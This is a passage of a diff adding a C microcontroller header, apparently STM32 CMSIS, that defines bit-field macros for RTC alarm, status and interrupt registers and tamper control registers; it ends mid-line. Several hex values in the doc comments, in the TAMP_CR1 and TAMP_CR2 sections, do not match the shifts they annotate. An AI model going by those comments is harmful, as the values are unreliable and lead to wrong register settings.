+#define RTC_ALRMAR_MSK4 RTC_ALRMAR_MSK4_Msk + +/******************** Bits definition for RTC_ALRMASSR register *************/ +#define RTC_ALRMASSR_SS_Pos (0UL) +#define RTC_ALRMASSR_SS_Msk (0x7FFFUL << RTC_ALRMASSR_SS_Pos) /*!< 0x00007FFF */ +#define RTC_ALRMASSR_SS RTC_ALRMASSR_SS_Msk +#define RTC_ALRMASSR_MASKSS_Pos (24UL) +#define RTC_ALRMASSR_MASKSS_Msk (0xFUL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x0F000000 */ +#define RTC_ALRMASSR_MASKSS RTC_ALRMASSR_MASKSS_Msk +#define RTC_ALRMASSR_MASKSS_0 (0x1UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x01000000 */ +#define RTC_ALRMASSR_MASKSS_1 (0x2UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x02000000 */ +#define RTC_ALRMASSR_MASKSS_2 (0x4UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x04000000 */ +#define RTC_ALRMASSR_MASKSS_3 (0x8UL << RTC_ALRMASSR_MASKSS_Pos) /*!< 0x08000000 */ +#define RTC_ALRMASSR_SSCLR_Pos (31UL) +#define RTC_ALRMASSR_SSCLR_Msk (0x1UL << RTC_ALRMASSR_SSCLR_Pos) /*!< 0x80000000 */ +#define RTC_ALRMASSR_SSCLR RTC_ALRMASSR_SSCLR_Msk + +/******************** Bits definition for RTC_ALRMBR register ***************/ +#define RTC_ALRMBR_SU_Pos (0UL) +#define RTC_ALRMBR_SU_Msk (0xFUL << RTC_ALRMBR_SU_Pos) /*!< 0x0000000F */ +#define RTC_ALRMBR_SU RTC_ALRMBR_SU_Msk +#define RTC_ALRMBR_SU_0 (0x1UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000001 */ +#define RTC_ALRMBR_SU_1 (0x2UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000002 */ +#define RTC_ALRMBR_SU_2 (0x4UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000004 */ +#define RTC_ALRMBR_SU_3 (0x8UL << RTC_ALRMBR_SU_Pos) /*!< 0x00000008 */ +#define RTC_ALRMBR_ST_Pos (4UL) +#define RTC_ALRMBR_ST_Msk (0x7UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000070 */ +#define RTC_ALRMBR_ST RTC_ALRMBR_ST_Msk +#define RTC_ALRMBR_ST_0 (0x1UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000010 */ +#define RTC_ALRMBR_ST_1 (0x2UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000020 */ +#define RTC_ALRMBR_ST_2 (0x4UL << RTC_ALRMBR_ST_Pos) /*!< 0x00000040 */ +#define RTC_ALRMBR_MSK1_Pos (7UL) +#define RTC_ALRMBR_MSK1_Msk (0x1UL << RTC_ALRMBR_MSK1_Pos) /*!< 0x00000080 */ +#define RTC_ALRMBR_MSK1 RTC_ALRMBR_MSK1_Msk +#define RTC_ALRMBR_MNU_Pos (8UL) +#define RTC_ALRMBR_MNU_Msk (0xFUL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000F00 */ +#define RTC_ALRMBR_MNU RTC_ALRMBR_MNU_Msk +#define RTC_ALRMBR_MNU_0 (0x1UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000100 */ +#define RTC_ALRMBR_MNU_1 (0x2UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000200 */ +#define RTC_ALRMBR_MNU_2 (0x4UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000400 */ +#define RTC_ALRMBR_MNU_3 (0x8UL << RTC_ALRMBR_MNU_Pos) /*!< 0x00000800 */ +#define RTC_ALRMBR_MNT_Pos (12UL) +#define RTC_ALRMBR_MNT_Msk (0x7UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00007000 */ +#define RTC_ALRMBR_MNT RTC_ALRMBR_MNT_Msk +#define RTC_ALRMBR_MNT_0 (0x1UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00001000 */ +#define RTC_ALRMBR_MNT_1 (0x2UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00002000 */ +#define RTC_ALRMBR_MNT_2 (0x4UL << RTC_ALRMBR_MNT_Pos) /*!< 0x00004000 */ +#define RTC_ALRMBR_MSK2_Pos (15UL) +#define RTC_ALRMBR_MSK2_Msk (0x1UL << RTC_ALRMBR_MSK2_Pos) /*!< 0x00008000 */ +#define RTC_ALRMBR_MSK2 RTC_ALRMBR_MSK2_Msk +#define RTC_ALRMBR_HU_Pos (16UL) +#define RTC_ALRMBR_HU_Msk (0xFUL << RTC_ALRMBR_HU_Pos) /*!< 0x000F0000 */ +#define RTC_ALRMBR_HU RTC_ALRMBR_HU_Msk +#define RTC_ALRMBR_HU_0 (0x1UL << RTC_ALRMBR_HU_Pos) /*!< 0x00010000 */ +#define RTC_ALRMBR_HU_1 (0x2UL << RTC_ALRMBR_HU_Pos) /*!< 0x00020000 */ +#define RTC_ALRMBR_HU_2 (0x4UL << RTC_ALRMBR_HU_Pos) /*!< 0x00040000 */ +#define RTC_ALRMBR_HU_3 (0x8UL << RTC_ALRMBR_HU_Pos) /*!< 0x00080000 */ +#define RTC_ALRMBR_HT_Pos (20UL) +#define RTC_ALRMBR_HT_Msk (0x3UL << RTC_ALRMBR_HT_Pos) /*!< 0x00300000 */ +#define RTC_ALRMBR_HT RTC_ALRMBR_HT_Msk +#define RTC_ALRMBR_HT_0 (0x1UL << RTC_ALRMBR_HT_Pos) /*!< 0x00100000 */ +#define RTC_ALRMBR_HT_1 (0x2UL << RTC_ALRMBR_HT_Pos) /*!< 0x00200000 */ +#define RTC_ALRMBR_PM_Pos (22UL) +#define RTC_ALRMBR_PM_Msk (0x1UL << RTC_ALRMBR_PM_Pos) /*!< 0x00400000 */ +#define RTC_ALRMBR_PM RTC_ALRMBR_PM_Msk +#define RTC_ALRMBR_MSK3_Pos (23UL) +#define RTC_ALRMBR_MSK3_Msk (0x1UL << RTC_ALRMBR_MSK3_Pos) /*!< 0x00800000 */ +#define RTC_ALRMBR_MSK3 RTC_ALRMBR_MSK3_Msk +#define RTC_ALRMBR_DU_Pos (24UL) +#define RTC_ALRMBR_DU_Msk (0xFUL << RTC_ALRMBR_DU_Pos) /*!< 0x0F000000 */ +#define RTC_ALRMBR_DU RTC_ALRMBR_DU_Msk +#define RTC_ALRMBR_DU_0 (0x1UL << RTC_ALRMBR_DU_Pos) /*!< 0x01000000 */ +#define RTC_ALRMBR_DU_1 (0x2UL << RTC_ALRMBR_DU_Pos) /*!< 0x02000000 */ +#define RTC_ALRMBR_DU_2 (0x4UL << RTC_ALRMBR_DU_Pos) /*!< 0x04000000 */ +#define RTC_ALRMBR_DU_3 (0x8UL << RTC_ALRMBR_DU_Pos) /*!< 0x08000000 */ +#define RTC_ALRMBR_DT_Pos (28UL) +#define RTC_ALRMBR_DT_Msk (0x3UL << RTC_ALRMBR_DT_Pos) /*!< 0x30000000 */ +#define RTC_ALRMBR_DT RTC_ALRMBR_DT_Msk +#define RTC_ALRMBR_DT_0 (0x1UL << RTC_ALRMBR_DT_Pos) /*!< 0x10000000 */ +#define RTC_ALRMBR_DT_1 (0x2UL << RTC_ALRMBR_DT_Pos) /*!< 0x20000000 */ +#define RTC_ALRMBR_WDSEL_Pos (30UL) +#define RTC_ALRMBR_WDSEL_Msk (0x1UL << RTC_ALRMBR_WDSEL_Pos) /*!< 0x40000000 */ +#define RTC_ALRMBR_WDSEL RTC_ALRMBR_WDSEL_Msk +#define RTC_ALRMBR_MSK4_Pos (31UL) +#define RTC_ALRMBR_MSK4_Msk (0x1UL << RTC_ALRMBR_MSK4_Pos) /*!< 0x80000000 */ +#define RTC_ALRMBR_MSK4 RTC_ALRMBR_MSK4_Msk + +/******************** Bits definition for RTC_ALRMBSSR register *************/ +#define RTC_ALRMBSSR_SS_Pos (0UL) +#define RTC_ALRMBSSR_SS_Msk (0x7FFFUL << RTC_ALRMBSSR_SS_Pos) /*!< 0x00007FFF */ +#define RTC_ALRMBSSR_SS RTC_ALRMBSSR_SS_Msk +#define RTC_ALRMBSSR_MASKSS_Pos (24UL) +#define RTC_ALRMBSSR_MASKSS_Msk (0xFUL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x0F000000 */ +#define RTC_ALRMBSSR_MASKSS RTC_ALRMBSSR_MASKSS_Msk +#define RTC_ALRMBSSR_MASKSS_0 (0x1UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x01000000 */ +#define RTC_ALRMBSSR_MASKSS_1 (0x2UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x02000000 */ +#define RTC_ALRMBSSR_MASKSS_2 (0x4UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x04000000 */ +#define RTC_ALRMBSSR_MASKSS_3 (0x8UL << RTC_ALRMBSSR_MASKSS_Pos) /*!< 0x08000000 */ +#define RTC_ALRMBSSR_SSCLR_Pos (31UL) +#define RTC_ALRMBSSR_SSCLR_Msk (0x1UL << RTC_ALRMBSSR_SSCLR_Pos) /*!< 0x80000000 */ +#define RTC_ALRMBSSR_SSCLR RTC_ALRMBSSR_SSCLR_Msk + +/******************** Bits definition for RTC_SR register *******************/ +#define RTC_SR_ALRAF_Pos (0UL) +#define RTC_SR_ALRAF_Msk (0x1UL << RTC_SR_ALRAF_Pos) /*!< 0x00000001 */ +#define RTC_SR_ALRAF RTC_SR_ALRAF_Msk +#define RTC_SR_ALRBF_Pos (1UL) +#define RTC_SR_ALRBF_Msk (0x1UL << RTC_SR_ALRBF_Pos) /*!< 0x00000002 */ +#define RTC_SR_ALRBF RTC_SR_ALRBF_Msk +#define RTC_SR_WUTF_Pos (2UL) +#define RTC_SR_WUTF_Msk (0x1UL << RTC_SR_WUTF_Pos) /*!< 0x00000004 */ +#define RTC_SR_WUTF RTC_SR_WUTF_Msk +#define RTC_SR_TSF_Pos (3UL) +#define RTC_SR_TSF_Msk (0x1UL << RTC_SR_TSF_Pos) /*!< 0x00000008 */ +#define RTC_SR_TSF RTC_SR_TSF_Msk +#define RTC_SR_TSOVF_Pos (4UL) +#define RTC_SR_TSOVF_Msk (0x1UL << RTC_SR_TSOVF_Pos) /*!< 0x00000010 */ +#define RTC_SR_TSOVF RTC_SR_TSOVF_Msk +#define RTC_SR_ITSF_Pos (5UL) +#define RTC_SR_ITSF_Msk (0x1UL << RTC_SR_ITSF_Pos) /*!< 0x00000020 */ +#define RTC_SR_ITSF RTC_SR_ITSF_Msk +#define RTC_SR_SSRUF_Pos (6UL) +#define RTC_SR_SSRUF_Msk (0x1UL << RTC_SR_SSRUF_Pos) /*!< 0x00000040 */ +#define RTC_SR_SSRUF RTC_SR_SSRUF_Msk + +/******************** Bits definition for RTC_MISR register *****************/ +#define RTC_MISR_ALRAMF_Pos (0UL) +#define RTC_MISR_ALRAMF_Msk (0x1UL << RTC_MISR_ALRAMF_Pos) /*!< 0x00000001 */ +#define RTC_MISR_ALRAMF RTC_MISR_ALRAMF_Msk +#define RTC_MISR_ALRBMF_Pos (1UL) +#define RTC_MISR_ALRBMF_Msk (0x1UL << RTC_MISR_ALRBMF_Pos) /*!< 0x00000002 */ +#define RTC_MISR_ALRBMF RTC_MISR_ALRBMF_Msk +#define RTC_MISR_WUTMF_Pos (2UL) +#define RTC_MISR_WUTMF_Msk (0x1UL << RTC_MISR_WUTMF_Pos) /*!< 0x00000004 */ +#define RTC_MISR_WUTMF RTC_MISR_WUTMF_Msk +#define RTC_MISR_TSMF_Pos (3UL) +#define RTC_MISR_TSMF_Msk (0x1UL << RTC_MISR_TSMF_Pos) /*!< 0x00000008 */ +#define RTC_MISR_TSMF RTC_MISR_TSMF_Msk +#define RTC_MISR_TSOVMF_Pos (4UL) +#define RTC_MISR_TSOVMF_Msk (0x1UL << RTC_MISR_TSOVMF_Pos) /*!< 0x00000010 */ +#define RTC_MISR_TSOVMF RTC_MISR_TSOVMF_Msk +#define RTC_MISR_ITSMF_Pos (5UL) +#define RTC_MISR_ITSMF_Msk (0x1UL << RTC_MISR_ITSMF_Pos) /*!< 0x00000020 */ +#define RTC_MISR_ITSMF RTC_MISR_ITSMF_Msk +#define RTC_MISR_SSRUMF_Pos (6UL) +#define RTC_MISR_SSRUMF_Msk (0x1UL << RTC_MISR_SSRUMF_Pos) /*!< 0x00000040 */ +#define RTC_MISR_SSRUMF RTC_MISR_SSRUMF_Msk + +/******************** Bits definition for RTC_SMISR register *****************/ +#define RTC_SMISR_ALRAMF_Pos (0UL) +#define RTC_SMISR_ALRAMF_Msk (0x1UL << RTC_SMISR_ALRAMF_Pos) /*!< 0x00000001 */ +#define RTC_SMISR_ALRAMF RTC_SMISR_ALRAMF_Msk +#define RTC_SMISR_ALRBMF_Pos (1UL) +#define RTC_SMISR_ALRBMF_Msk (0x1UL << RTC_SMISR_ALRBMF_Pos) /*!< 0x00000002 */ +#define RTC_SMISR_ALRBMF RTC_SMISR_ALRBMF_Msk +#define RTC_SMISR_WUTMF_Pos (2UL) +#define RTC_SMISR_WUTMF_Msk (0x1UL << RTC_SMISR_WUTMF_Pos) /*!< 0x00000004 */ +#define RTC_SMISR_WUTMF RTC_SMISR_WUTMF_Msk +#define RTC_SMISR_TSMF_Pos (3UL) +#define RTC_SMISR_TSMF_Msk (0x1UL << RTC_SMISR_TSMF_Pos) /*!< 0x00000008 */ +#define RTC_SMISR_TSMF RTC_SMISR_TSMF_Msk +#define RTC_SMISR_TSOVMF_Pos (4UL) +#define RTC_SMISR_TSOVMF_Msk (0x1UL << RTC_SMISR_TSOVMF_Pos) /*!< 0x00000010 */ +#define RTC_SMISR_TSOVMF RTC_SMISR_TSOVMF_Msk +#define RTC_SMISR_ITSMF_Pos (5UL) +#define RTC_SMISR_ITSMF_Msk (0x1UL << RTC_SMISR_ITSMF_Pos) /*!< 0x00000020 */ +#define RTC_SMISR_ITSMF RTC_SMISR_ITSMF_Msk +#define RTC_SMISR_SSRUMF_Pos (6UL) +#define RTC_SMISR_SSRUMF_Msk (0x1UL << RTC_SMISR_SSRUMF_Pos) /*!< 0x00000040 */ +#define RTC_SMISR_SSRUMF RTC_SMISR_SSRUMF_Msk + +/******************** Bits definition for RTC_SCR register ******************/ +#define RTC_SCR_CALRAF_Pos (0UL) +#define RTC_SCR_CALRAF_Msk (0x1UL << RTC_SCR_CALRAF_Pos) /*!< 0x00000001 */ +#define RTC_SCR_CALRAF RTC_SCR_CALRAF_Msk +#define RTC_SCR_CALRBF_Pos (1UL) +#define RTC_SCR_CALRBF_Msk (0x1UL << RTC_SCR_CALRBF_Pos) /*!< 0x00000002 */ +#define RTC_SCR_CALRBF RTC_SCR_CALRBF_Msk +#define RTC_SCR_CWUTF_Pos (2UL) +#define RTC_SCR_CWUTF_Msk (0x1UL << RTC_SCR_CWUTF_Pos) /*!< 0x00000004 */ +#define RTC_SCR_CWUTF RTC_SCR_CWUTF_Msk +#define RTC_SCR_CTSF_Pos (3UL) +#define RTC_SCR_CTSF_Msk (0x1UL << RTC_SCR_CTSF_Pos) /*!< 0x00000008 */ +#define RTC_SCR_CTSF RTC_SCR_CTSF_Msk +#define RTC_SCR_CTSOVF_Pos (4UL) +#define RTC_SCR_CTSOVF_Msk (0x1UL << RTC_SCR_CTSOVF_Pos) /*!< 0x00000010 */ +#define RTC_SCR_CTSOVF RTC_SCR_CTSOVF_Msk +#define RTC_SCR_CITSF_Pos (5UL) +#define RTC_SCR_CITSF_Msk (0x1UL << RTC_SCR_CITSF_Pos) /*!< 0x00000020 */ +#define RTC_SCR_CITSF RTC_SCR_CITSF_Msk +#define RTC_SCR_CSSRUF_Pos (6UL) +#define RTC_SCR_CSSRUF_Msk (0x1UL << RTC_SCR_CSSRUF_Pos) /*!< 0x00000040 */ +#define RTC_SCR_CSSRUF RTC_SCR_CSSRUF_Msk + +/******************** Bits definition for RTC_ALRABINR register ******************/ +#define RTC_ALRABINR_SS_Pos (0UL) +#define RTC_ALRABINR_SS_Msk (0xFFFFFFFFUL << RTC_ALRABINR_SS_Pos) /*!< 0xFFFFFFFF */ +#define RTC_ALRABINR_SS RTC_ALRABINR_SS_Msk + +/******************** Bits definition for RTC_ALRBBINR register ******************/ +#define RTC_ALRBBINR_SS_Pos (0UL) +#define RTC_ALRBBINR_SS_Msk (0xFFFFFFFFUL << RTC_ALRBBINR_SS_Pos) /*!< 0xFFFFFFFF */ +#define RTC_ALRBBINR_SS RTC_ALRBBINR_SS_Msk + +/******************************************************************************/ +/* */ +/* Tamper and backup register (TAMP) */ +/* */ +/******************************************************************************/ +/******************** Bits definition for TAMP_CR1 register *****************/ +#define TAMP_CR1_TAMP1E_Pos (0UL) +#define TAMP_CR1_TAMP1E_Msk (0x1UL << TAMP_CR1_TAMP1E_Pos) /*!< 0x00000001 */ +#define TAMP_CR1_TAMP1E TAMP_CR1_TAMP1E_Msk +#define TAMP_CR1_TAMP2E_Pos (1UL) +#define TAMP_CR1_TAMP2E_Msk (0x1UL << TAMP_CR1_TAMP2E_Pos) /*!< 0x00000002 */ +#define TAMP_CR1_TAMP2E TAMP_CR1_TAMP2E_Msk +#define TAMP_CR1_TAMP3E_Pos (2UL) +#define TAMP_CR1_TAMP3E_Msk (0x1UL << TAMP_CR1_TAMP3E_Pos) /*!< 0x00000004 */ +#define TAMP_CR1_TAMP3E TAMP_CR1_TAMP3E_Msk +#define TAMP_CR1_TAMP4E_Pos (3UL) +#define TAMP_CR1_TAMP4E_Msk (0x1UL << TAMP_CR1_TAMP4E_Pos) /*!< 0x00000008 */ +#define TAMP_CR1_TAMP4E TAMP_CR1_TAMP4E_Msk +#define TAMP_CR1_TAMP5E_Pos (4UL) +#define TAMP_CR1_TAMP5E_Msk (0x1UL << TAMP_CR1_TAMP5E_Pos) /*!< 0x00000010 */ +#define TAMP_CR1_TAMP5E TAMP_CR1_TAMP5E_Msk +#define TAMP_CR1_TAMP6E_Pos (5UL) +#define TAMP_CR1_TAMP6E_Msk (0x1UL << TAMP_CR1_TAMP6E_Pos) /*!< 0x00000020 */ +#define TAMP_CR1_TAMP6E TAMP_CR1_TAMP6E_Msk +#define TAMP_CR1_TAMP7E_Pos (6UL) +#define TAMP_CR1_TAMP7E_Msk (0x1UL << TAMP_CR1_TAMP7E_Pos) /*!< 0x00000040 */ +#define TAMP_CR1_TAMP7E TAMP_CR1_TAMP7E_Msk +#define TAMP_CR1_TAMP8E_Pos (7UL) +#define TAMP_CR1_TAMP8E_Msk (0x1UL << TAMP_CR1_TAMP8E_Pos) /*!< 0x00000080 */ +#define TAMP_CR1_TAMP8E TAMP_CR1_TAMP8E_Msk +#define TAMP_CR1_ITAMP1E_Pos (16UL) +#define TAMP_CR1_ITAMP1E_Msk (0x1UL << TAMP_CR1_ITAMP1E_Pos) /*!< 0x00010000 */ +#define TAMP_CR1_ITAMP1E TAMP_CR1_ITAMP1E_Msk +#define TAMP_CR1_ITAMP2E_Pos (17UL) +#define TAMP_CR1_ITAMP2E_Msk (0x1UL << TAMP_CR1_ITAMP2E_Pos) /*!< 0x00040000 */ +#define TAMP_CR1_ITAMP2E TAMP_CR1_ITAMP2E_Msk +#define TAMP_CR1_ITAMP3E_Pos (18UL) +#define TAMP_CR1_ITAMP3E_Msk (0x1UL << TAMP_CR1_ITAMP3E_Pos) /*!< 0x00040000 */ +#define TAMP_CR1_ITAMP3E TAMP_CR1_ITAMP3E_Msk +#define TAMP_CR1_ITAMP5E_Pos (20UL) +#define TAMP_CR1_ITAMP5E_Msk (0x1UL << TAMP_CR1_ITAMP5E_Pos) /*!< 0x00100000 */ +#define TAMP_CR1_ITAMP5E TAMP_CR1_ITAMP5E_Msk +#define TAMP_CR1_ITAMP6E_Pos (21UL) +#define TAMP_CR1_ITAMP6E_Msk (0x1UL << TAMP_CR1_ITAMP6E_Pos) /*!< 0x00200000 */ +#define TAMP_CR1_ITAMP6E TAMP_CR1_ITAMP6E_Msk +#define TAMP_CR1_ITAMP7E_Pos (22UL) +#define TAMP_CR1_ITAMP7E_Msk (0x1UL << TAMP_CR1_ITAMP7E_Pos) /*!< 0x00400000 */ +#define TAMP_CR1_ITAMP7E TAMP_CR1_ITAMP7E_Msk +#define TAMP_CR1_ITAMP8E_Pos (23UL) +#define TAMP_CR1_ITAMP8E_Msk (0x1UL << TAMP_CR1_ITAMP8E_Pos) /*!< 0x00800000 */ +#define TAMP_CR1_ITAMP8E TAMP_CR1_ITAMP8E_Msk +#define TAMP_CR1_ITAMP9E_Pos (24UL) +#define TAMP_CR1_ITAMP9E_Msk (0x1UL << TAMP_CR1_ITAMP9E_Pos) /*!< 0x01000000 */ +#define TAMP_CR1_ITAMP9E TAMP_CR1_ITAMP9E_Msk +#define TAMP_CR1_ITAMP11E_Pos (26UL) +#define TAMP_CR1_ITAMP11E_Msk (0x1UL << TAMP_CR1_ITAMP11E_Pos) /*!< 0x04000000 */ +#define TAMP_CR1_ITAMP11E TAMP_CR1_ITAMP11E_Msk +#define TAMP_CR1_ITAMP12E_Pos (27UL) +#define TAMP_CR1_ITAMP12E_Msk (0x1UL << TAMP_CR1_ITAMP12E_Pos) /*!< 0x04000000 */ +#define TAMP_CR1_ITAMP12E TAMP_CR1_ITAMP12E_Msk +#define TAMP_CR1_ITAMP13E_Pos (28UL) +#define TAMP_CR1_ITAMP13E_Msk (0x1UL << TAMP_CR1_ITAMP13E_Pos) /*!< 0x04000000 */ +#define TAMP_CR1_ITAMP13E TAMP_CR1_ITAMP13E_Msk + +/******************** Bits definition for TAMP_CR2 register *****************/ +#define TAMP_CR2_TAMP1NOERASE_Pos (0UL) +#define TAMP_CR2_TAMP1NOERASE_Msk (0x1UL << TAMP_CR2_TAMP1NOERASE_Pos) /*!< 0x00000001 */ +#define TAMP_CR2_TAMP1NOERASE TAMP_CR2_TAMP1NOERASE_Msk +#define TAMP_CR2_TAMP2NOERASE_Pos (1UL) +#define TAMP_CR2_TAMP2NOERASE_Msk (0x1UL << TAMP_CR2_TAMP2NOERASE_Pos) /*!< 0x00000002 */ +#define TAMP_CR2_TAMP2NOERASE TAMP_CR2_TAMP2NOERASE_Msk +#define TAMP_CR2_TAMP3NOERASE_Pos (2UL) +#define TAMP_CR2_TAMP3NOERASE_Msk (0x1UL << TAMP_CR2_TAMP3NOERASE_Pos) /*!< 0x00000004 */ +#define TAMP_CR2_TAMP3NOERASE TAMP_CR2_TAMP3NOERASE_Msk +#define TAMP_CR2_TAMP4NOERASE_Pos (3UL) +#define TAMP_CR2_TAMP4NOERASE_Msk (0x1UL << TAMP_CR2_TAMP4NOERASE_Pos) /*!< 0x00000008 */ +#define TAMP_CR2_TAMP4NOERASE TAMP_CR2_TAMP4NOERASE_Msk +#define TAMP_CR2_TAMP5NOERASE_Pos (4UL) +#define TAMP_CR2_TAMP5NOERASE_Msk (0x1UL << TAMP_CR2_TAMP5NOERASE_Pos) /*!< 0x00000010 */ +#define TAMP_CR2_TAMP5NOERASE TAMP_CR2_TAMP5NOERASE_Msk +#define TAMP_CR2_TAMP6NOERASE_Pos (5UL) +#define TAMP_CR2_TAMP6NOERASE_Msk (0x1UL << TAMP_CR2_TAMP6NOERASE_Pos) /*!< 0x00000020 */ +#define TAMP_CR2_TAMP6NOERASE TAMP_CR2_TAMP6NOERASE_Msk +#define TAMP_CR2_TAMP7NOERASE_Pos (6UL) +#define TAMP_CR2_TAMP7NOERASE_Msk (0x1UL << TAMP_CR2_TAMP7NOERASE_Pos) /*!< 0x00000040 */ +#define TAMP_CR2_TAMP7NOERASE TAMP_CR2_TAMP7NOERASE_Msk +#define TAMP_CR2_TAMP8NOERASE_Pos (7UL) +#define TAMP_CR2_TAMP8NOERASE_Msk (0x1UL << TAMP_CR2_TAMP8NOERASE_Pos) /*!< 0x00000080 */ +#define TAMP_CR2_TAMP8NOERASE TAMP_CR2_TAMP8NOERASE_Msk +#define TAMP_CR2_TAMP1MSK_Pos (16UL) +#define TAMP_CR2_TAMP1MSK_Msk (0x1UL << TAMP_CR2_TAMP1MSK_Pos) /*!< 0x00010000 */ +#define TAMP_CR2_TAMP1MSK TAMP_CR2_TAMP1MSK_Msk +#define TAMP_CR2_TAMP2MSK_Pos (17UL) +#define TAMP_CR2_TAMP2MSK_Msk (0x1UL << TAMP_CR2_TAMP2MSK_Pos) /*!< 0x00020000 */ +#define TAMP_CR2_TAMP2MSK TAMP_CR2_TAMP2MSK_Msk +#define TAMP_CR2_TAMP3MSK_Pos (18UL) +#define TAMP_CR2_TAMP3MSK_Msk (0x1UL << TAMP_CR2_TAMP3MSK_Pos) /*!< 0x00040000 */ +#define TAMP_CR2_TAMP3MSK TAMP_CR2_TAMP3MSK_Msk +#define TAMP_CR2_BKBLOCK_Pos (22UL) +#define TAMP_CR2_BKBLOCK_Msk (0x1UL << TAMP_CR2_BKBLOCK_Pos) /*!< 0x00800000 */ +#define TAMP_CR2_BKBLOCK TAMP_CR2_BKBLOCK_Msk +#define TAMP_CR2_BKERASE_Pos (23UL) +#define TAMP_CR2_BKERASE_Msk (0x1UL << TAMP_CR2_BKERASE_Pos) /*!< 0x00800000 */ +#define TAMP_CR2_BKERASE TAMP_CR2_BKERASE_Msk +#define TAMP_CR2_TAMP1TRG_Pos (24UL) +#define TAMP_CR2_TAMP1TRG_Msk (0x1UL << TAMP_CR2_TAMP1TRG_Pos) /*!< 0x01000000 */ +#define TAMP_CR2_TAMP1TRG TAMP_CR2_TAMP1TRG_Msk +#define TAMP_CR2_TAMP2TRG_Pos (25UL) +#define TAMP_CR2_TAMP2TRG_Msk (0x1UL << TAMP_CR2_TAMP2TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP2TRG TAMP_CR2_TAMP2TRG_Msk +#define TAMP_CR2_TAMP3TRG_Pos (26UL) +#define TAMP_CR2_TAMP3TRG_Msk (0x1UL << TAMP_CR2_TAMP3TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP3TRG TAMP_CR2_TAMP3TRG_Msk +#define TAMP_CR2_TAMP4TRG_Pos (27UL) +#define TAMP_CR2_TAMP4TRG_Msk (0x1UL << TAMP_CR2_TAMP4TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP4TRG TAMP_CR2_TAMP4TRG_Msk +#define TAMP_CR2_TAMP5TRG_Pos (28UL) +#define TAMP_CR2_TAMP5TRG_Msk (0x1UL << TAMP_CR2_TAMP5TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP5TRG TAMP_CR2_TAMP5TRG_Msk +#define TAMP_CR2_TAMP6TRG_Pos (29UL) +#define TAMP_CR2_TAMP6TRG_Msk (0x1UL << TAMP_CR2_TAMP6TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP6TRG TAMP_CR2_TAMP6TRG_Msk +#define TAMP_CR2_TAMP7TRG_Pos (30UL) +#define TAMP_CR2_TAMP7TRG_Msk (0x1UL << TAMP_CR2_TAMP7TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP7TRG TAMP_CR2_TAMP7TRG_Msk +#define TAMP_CR2_TAMP8TRG_Pos (31UL) +#define TAMP_CR2_TAMP8TRG_Msk (0x1UL << TAMP_CR2_TAMP8TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP8TRG TAMP_CR2_TAMP8TRG_Msk + +/******************** Bits definition for TAMP_CR3 register *****************/ +#define TAMP_CR3_ITAMP1NOER_Pos (0UL) +#define TAMP_CR3_ITAMP1NOER_Msk (0x1UL << TAMP_CR3_ITAMP1NOER_Pos) /*!< 0x00000001 */ +#define TAMP_CR3_ITAMP1NOER TAMP_CR3_ITAMP1NOER_Msk +#define TAMP_CR3_ITAMP2NOER_Pos (1UL) +#define TAMP_CR3_ITAMP2NOER_Msk (0x1UL << TAMP_CR3_ITAMP2NOER_Pos) /*!< 0x00000002 */ +#define TAMP_CR3_ITAMP2NOER TAMP_CR3_ITAMP2NOER_Msk +#define TAMP_CR3_ITAMP3NOER_Pos (2UL) +#define TAMP_CR3_ITAMP3NOER_Msk (0x1UL << TAMP_CR3_ITAMP3NOER_Pos) /*!< 0x00000004 */ +#define TAMP_CR3_ITAMP3NOER TAMP_CR3_ITAMP3NOER_Msk +#define TAMP_CR3_ITAMP5NOER_Pos (4UL) +#define TAMP_CR3_ITAMP5NOER_Msk (0x1UL << TAMP_CR3_ITAMP5NOER_Pos) /*!< 0x00000010 */ +#define TAMP_CR3_ITAMP5NOER TAMP_CR3_ITAMP5NOER_Msk +#define TAMP_CR3_ITAMP6NOER_Pos (5UL) +#define TAMP_CR3_ITAMP6NOER_Msk (0x1UL << TAMP_CR3_ITAMP6NOER_Pos) /*!< 0x00000020 */ +#define TAMP_CR3_ITAMP6NOER TAMP_CR3_ITAMP6NOER_Msk +#define TAMP_CR3_ITAMP7NOER_Pos (6UL) +#define TAMP_CR3_ITAMP7NOER_Msk (0x1UL << TAMP_CR3_ITAMP7NOER_Pos) +#define TAMP_CR3_ITAMP7NOER TAMP_CR3_ITAMP7NOER_Msk +#define TAMP_CR3_ITAMP8NOER_Pos (7UL) +#define TAMP_CR3_ITAMP8NOER_Msk (0x1UL << TAMP_CR3_ITAMP8NOER_Pos) /*!< 0x00000040 */ +#define TAMP_CR3_ITAMP8NOER TAMP_CR3_ITAMP8NOER_Msk +#define TAMP_CR3_ITAMP9NOER_Pos (8UL) +#define TAMP_CR3_ITAMP9NOER_Msk (0x1UL << TAMP_CR3_ITAMP9NOER_Pos) /*!< 0x00000100 */ +#define TAMP_CR3_ITAMP9NOER TAMP_CR3_ITAMP9NOER_Msk +#define TAMP_CR3_ITAMP11NOER_Pos (10UL) +#define TAMP_CR3_ITAMP11NOER_Msk 